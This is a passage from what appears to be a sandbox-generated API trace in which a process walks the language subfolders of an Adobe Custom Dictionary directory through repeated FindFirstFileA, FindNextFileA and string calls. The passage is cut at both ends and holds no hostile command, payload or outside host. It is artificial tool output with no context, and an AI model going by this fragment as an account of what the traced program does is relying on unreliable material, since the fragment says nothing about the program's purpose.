dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.923] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.923] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750064, dwReserved1=0x74, cFileName="eng", cAlternateFileName="")) returned 1 [0086.923] lstrcmpA (lpString1=".", lpString2="eng") returned -1 [0086.923] lstrcmpA (lpString1="..", lpString2="eng") returned -1 [0086.923] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.924] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="eng" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng" [0086.924] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng") returned 105 [0086.924] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.924] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.924] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.924] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.924] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.924] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.924] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.925] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e0065, dwReserved1=0x67, cFileName="frn", cAlternateFileName="")) returned 1 [0086.925] lstrcmpA (lpString1=".", lpString2="frn") returned -1 [0086.925] lstrcmpA (lpString1="..", lpString2="frn") returned -1 [0086.925] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.925] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="frn" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn" [0086.925] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn") returned 105 [0086.925] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.925] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.925] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.925] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.925] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.926] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.926] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.926] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720066, dwReserved1=0x6e, cFileName="grm", cAlternateFileName="")) returned 1 [0086.926] lstrcmpA (lpString1=".", lpString2="grm") returned -1 [0086.926] lstrcmpA (lpString1="..", lpString2="grm") returned -1 [0086.926] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.926] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="grm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm" [0086.926] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm") returned 105 [0086.926] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.926] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.927] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.927] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.927] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.927] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.927] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.928] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720067, dwReserved1=0x6d, cFileName="itl", cAlternateFileName="")) returned 1 [0086.928] lstrcmpA (lpString1=".", lpString2="itl") returned -1 [0086.928] lstrcmpA (lpString1="..", lpString2="itl") returned -1 [0086.928] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.928] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="itl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl" [0086.929] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl") returned 105 [0086.929] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.929] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.929] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.929] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.929] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.929] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.929] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.929] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740069, dwReserved1=0x6c, cFileName="nrw", cAlternateFileName="")) returned 1 [0086.929] lstrcmpA (lpString1=".", lpString2="nrw") returned -1 [0086.930] lstrcmpA (lpString1="..", lpString2="nrw") returned -1 [0086.930] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.930] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="nrw" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw" [0086.930] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw") returned 105 [0086.930] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.930] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.930] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.930] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.930] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.930] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.931] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.931] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72006e, dwReserved1=0x77, cFileName="prt", cAlternateFileName="")) returned 1 [0086.931] lstrcmpA (lpString1=".", lpString2="prt") returned -1 [0086.931] lstrcmpA (lpString1="..", lpString2="prt") returned -1 [0086.931] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.931] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="prt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt" [0086.931] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt") returned 105 [0086.931] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.931] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.931] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.932] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.932] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.932] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.932] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.932] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720070, dwReserved1=0x74, cFileName="spn", cAlternateFileName="")) returned 1 [0086.932] lstrcmpA (lpString1=".", lpString2="spn") returned -1 [0086.932] lstrcmpA (lpString1="..", lpString2="spn") returned -1 [0086.932] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.932] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="spn" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn" [0086.932] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn") returned 105 [0086.932] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.933] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.933] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.933] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.933] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.933] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.933] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.933] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700073, dwReserved1=0x6e, cFileName="swd", cAlternateFileName="")) returned 1 [0086.933] lstrcmpA (lpString1=".", lpString2="swd") returned -1 [0086.933] lstrcmpA (lpString1="..", lpString2="swd") returned -1 [0086.933] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.933] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="swd" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd") returned="C:\\Users\\5p5NrGJn0jS 